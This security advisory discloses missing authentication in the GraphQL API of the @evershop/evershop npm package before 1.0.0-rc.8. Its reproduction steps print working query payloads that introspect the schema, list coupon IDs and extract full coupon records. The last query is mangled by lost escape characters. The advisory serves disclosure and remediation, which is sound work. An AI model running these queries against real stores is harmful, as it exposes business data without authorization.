Summary
NPM’s package @evershop/evershop prior to 1.0.0-rc.8 has a lack of authentication in its GraphQL endpoints, allowing any user to access sensitive data without proper authorization.
Product
This vulnerability affects NPM’s package @evershop/evershop in versions prior to 1.0.0-rc.8.
Impact
This vulnerability allows any user to execute introspection queries and perform actions without proper authorization in the GraphQL API (enumeration of the database and extraction of the whole schema details) leading to the exposure of sensitive data.
Steps to reproduce
- Install the
@evershop/evershoppackage dependency for any version prior to 1.0.0-rc.8 - Run the EverShop Web Application on localhost
- Make a
POSTrequest to GraphQL API with the following query to enumerate the database and extract schema:{"query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}"} - Make a
POSTrequest to GraphQL API to retrieve basic details about coupons (current filters, the total number of coupons, their respective IDs) with the following query:{"query": "query { coupons(filters:[]) { currentFilters { operation } total items { couponId } }}"} - Once the coupon ID is obtained make a
POSTrequest to GraphQL API with the following query (in this example coupon ID: 1) to obtain the full information of the coupon:{"query": "query {ntcoupon(id:1) {nttupdateApinttcouponnttendDate {nttttimezonentt}nttdescriptionnttdiscountAmountnttuserCondition {ntttgroupsntt}nttcouponIdnttuuidnttdeleteApintteditUrlnttusedTimenttcondition {ntttorderTotalntt}nttmaxUsesTimePerCouponntttargetProducts {ntttproducts {nttttoperatornttt}ntt}nttfreeShippingnttbuyxGety {ntttskuntt}nttdiscountTypenttmaxUsesTimePerCustomernttstartDate {nttttimezonentt}nttstatusnt}n}"}
Expected result:
Successful extraction of detailed information about a specific coupon using the obtained coupon ID.
Remediation
A fix was released in commit 72d478a, where the admin and frontStore GraphQL schema were seperated. Users are recommended to upgrade to version 1.0.0-rc.8, which includes this fix.
Credit
This issue was discovered and reported by Checkmarx SCA Security Analyst Bruno Dias.